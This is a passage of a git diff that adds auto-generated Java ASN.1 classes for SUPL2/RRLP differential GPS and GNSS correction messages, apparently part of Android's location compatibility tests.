+ }
+ }
+
+ /**
+ * Creates a new DGANSSSgnElement from encoded stream.
+ */
+ public static DGANSSSgnElement fromPerUnaligned(byte[] encodedBytes) {
+ DGANSSSgnElement result = new DGANSSSgnElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new DGANSSSgnElement from encoded stream.
+ */
+ public static DGANSSSgnElement fromPerAligned(byte[] encodedBytes) {
+ DGANSSSgnElement result = new DGANSSSgnElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private DGANSSSgnElement.iodType iod_;
+ public DGANSSSgnElement.iodType getIod() {
+ return iod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGANSSSgnElement.iodType
+ */
+ public void setIod(Asn1Object value) {
+ this.iod_ = (DGANSSSgnElement.iodType) value;
+ }
+ public DGANSSSgnElement.iodType setIodToNewInstance() {
+ iod_ = new DGANSSSgnElement.iodType();
+ return iod_;
+ }
+
+ private DGANSSSgnElement.udreType udre_;
+ public DGANSSSgnElement.udreType getUdre() {
+ return udre_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGANSSSgnElement.udreType
+ */
+ public void setUdre(Asn1Object value) {
+ this.udre_ = (DGANSSSgnElement.udreType) value;
+ }
+ public DGANSSSgnElement.udreType setUdreToNewInstance() {
+ udre_ = new DGANSSSgnElement.udreType();
+ return udre_;
+ }
+
+ private DGANSSSgnElement.pseudoRangeCorType pseudoRangeCor_;
+ public DGANSSSgnElement.pseudoRangeCorType getPseudoRangeCor() {
+ return pseudoRangeCor_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGANSSSgnElement.pseudoRangeCorType
+ */
+ public void setPseudoRangeCor(Asn1Object value) {
+ this.pseudoRangeCor_ = (DGANSSSgnElement.pseudoRangeCorType) value;
+ }
+ public DGANSSSgnElement.pseudoRangeCorType setPseudoRangeCorToNewInstance() {
+ pseudoRangeCor_ = new DGANSSSgnElement.pseudoRangeCorType();
+ return pseudoRangeCor_;
+ }
+
+ private DGANSSSgnElement.rangeRateCorType rangeRateCor_;
+ public DGANSSSgnElement.rangeRateCorType getRangeRateCor() {
+ return rangeRateCor_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGANSSSgnElement.rangeRateCorType
+ */
+ public void setRangeRateCor(Asn1Object value) {
+ this.rangeRateCor_ = (DGANSSSgnElement.rangeRateCorType) value;
+ }
+ public DGANSSSgnElement.rangeRateCorType setRangeRateCorToNewInstance() {
+ rangeRateCor_ = new DGANSSSgnElement.rangeRateCorType();
+ return rangeRateCor_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getIod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIod();
+ }
+
+ @Override public void setToNewInstance() {
+ setIodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGANSSSgnElement.iodType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "iod : "
+ + getIod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUdre() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUdre();
+ }
+
+ @Override public void setToNewInstance() {
+ setUdreToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGANSSSgnElement.udreType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "udre : "
+ + getUdre().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getPseudoRangeCor() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPseudoRangeCor();
+ }
+
+ @Override public void setToNewInstance() {
+ setPseudoRangeCorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGANSSSgnElement.pseudoRangeCorType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "pseudoRangeCor : "
+ + getPseudoRangeCor().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getRangeRateCor() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRangeRateCor();
+ }
+
+ @Override public void setToNewInstance() {
+ setRangeRateCorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGANSSSgnElement.rangeRateCorType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rangeRateCor : "
+ + getRangeRateCor().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class iodType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_iodType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public iodType() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_iodType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_iodType != null) {
+ return ImmutableList.of(TAG_iodType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new iodType from encoded stream.
+ */
+ public static iodType fromPerUnaligned(byte[] encodedBytes) {
+ iodType result = new iodType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new iodType from encoded stream.
+ */
+ public static iodType fromPerAligned(byte[] encodedBytes) {
+ iodType result = new iodType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "iodType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class udreType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_udreType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public udreType() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_udreType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_udreType != null) {
+ return ImmutableList.of(TAG_udreType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new udreType from encoded stream.
+ */
+ public static udreType fromPerUnaligned(byte[] encodedBytes) {
+ udreType result = new udreType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new udreType from encoded stream.
+ */
+ public static udreType fromPerAligned(byte[] encodedBytes) {
+ udreType result = new udreType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "udreType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class pseudoRangeCorType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_pseudoRangeCorType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public pseudoRangeCorType() {
+ super();
+ setValueRange("-2047", "2047");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_pseudoRangeCorType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_pseudoRangeCorType != null) {
+ return ImmutableList.of(TAG_pseudoRangeCorType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new pseudoRangeCorType from encoded stream.
+ */
+ public static pseudoRangeCorType fromPerUnaligned(byte[] encodedBytes) {
+ pseudoRangeCorType result = new pseudoRangeCorType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new pseudoRangeCorType from encoded stream.
+ */
+ public static pseudoRangeCorType fromPerAligned(byte[] encodedBytes) {
+ pseudoRangeCorType result = new pseudoRangeCorType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "pseudoRangeCorType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rangeRateCorType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_rangeRateCorType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rangeRateCorType() {
+ super();
+ setValueRange("-127", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rangeRateCorType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rangeRateCorType != null) {
+ return ImmutableList.of(TAG_rangeRateCorType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rangeRateCorType from encoded stream.
+ */
+ public static rangeRateCorType fromPerUnaligned(byte[] encodedBytes) {
+ rangeRateCorType result = new rangeRateCorType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rangeRateCorType from encoded stream.
+ */
+ public static rangeRateCorType fromPerAligned(byte[] encodedBytes) {
+ rangeRateCorType result = new rangeRateCorType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rangeRateCorType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("DGANSSSgnElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrections.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrections.java
new file mode 100755
index 0000000..2af31b8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrections.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class DGPSCorrections extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_DGPSCorrections
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public DGPSCorrections() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_DGPSCorrections;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_DGPSCorrections != null) {
+ return ImmutableList.of(TAG_DGPSCorrections);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new DGPSCorrections from encoded stream.
+ */
+ public static DGPSCorrections fromPerUnaligned(byte[] encodedBytes) {
+ DGPSCorrections result = new DGPSCorrections();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new DGPSCorrections from encoded stream.
+ */
+ public static DGPSCorrections fromPerAligned(byte[] encodedBytes) {
+ DGPSCorrections result = new DGPSCorrections();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private DGPSCorrections.gpsTOWType gpsTOW_;
+ public DGPSCorrections.gpsTOWType getGpsTOW() {
+ return gpsTOW_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGPSCorrections.gpsTOWType
+ */
+ public void setGpsTOW(Asn1Object value) {
+ this.gpsTOW_ = (DGPSCorrections.gpsTOWType) value;
+ }
+ public DGPSCorrections.gpsTOWType setGpsTOWToNewInstance() {
+ gpsTOW_ = new DGPSCorrections.gpsTOWType();
+ return gpsTOW_;
+ }
+
+ private DGPSCorrections.statusType status_;
+ public DGPSCorrections.statusType getStatus() {
+ return status_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGPSCorrections.statusType
+ */
+ public void setStatus(Asn1Object value) {
+ this.status_ = (DGPSCorrections.statusType) value;
+ }
+ public DGPSCorrections.statusType setStatusToNewInstance() {
+ status_ = new DGPSCorrections.statusType();
+ return status_;
+ }
+
+ private SeqOfSatElement satList_;
+ public SeqOfSatElement getSatList() {
+ return satList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfSatElement
+ */
+ public void setSatList(Asn1Object value) {
+ this.satList_ = (SeqOfSatElement) value;
+ }
+ public SeqOfSatElement setSatListToNewInstance() {
+ satList_ = new SeqOfSatElement();
+ return satList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsTOW() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsTOW();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsTOWToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGPSCorrections.gpsTOWType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTOW : "
+ + getGpsTOW().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getStatus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStatus();
+ }
+
+ @Override public void setToNewInstance() {
+ setStatusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGPSCorrections.statusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "status : "
+ + getStatus().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatList();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfSatElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satList : "
+ + getSatList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsTOWType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gpsTOWType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsTOWType() {
+ super();
+ setValueRange("0", "604799");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsTOWType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsTOWType != null) {
+ return ImmutableList.of(TAG_gpsTOWType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsTOWType from encoded stream.
+ */
+ public static gpsTOWType fromPerUnaligned(byte[] encodedBytes) {
+ gpsTOWType result = new gpsTOWType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsTOWType from encoded stream.
+ */
+ public static gpsTOWType fromPerAligned(byte[] encodedBytes) {
+ gpsTOWType result = new gpsTOWType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsTOWType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class statusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_statusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public statusType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_statusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_statusType != null) {
+ return ImmutableList.of(TAG_statusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new statusType from encoded stream.
+ */
+ public static statusType fromPerUnaligned(byte[] encodedBytes) {
+ statusType result = new statusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new statusType from encoded stream.
+ */
+ public static statusType fromPerAligned(byte[] encodedBytes) {
+ statusType result = new statusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "statusType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("DGPSCorrections = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java
new file mode 100755
index 0000000..364876d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGPSCorrectionsValidityPeriod.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class DGPSCorrectionsValidityPeriod
+ extends Asn1SequenceOf<DGPSExtensionSatElement> {
+ //
+
+ private static final Asn1Tag TAG_DGPSCorrectionsValidityPeriod
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public DGPSCorrectionsValidityPeriod() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_DGPSCorrectionsValidityPeriod;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_DGPSCorrectionsValidityPeriod != null) {
+ return ImmutableList.of(TAG_DGPSCorrectionsValidityPeriod);
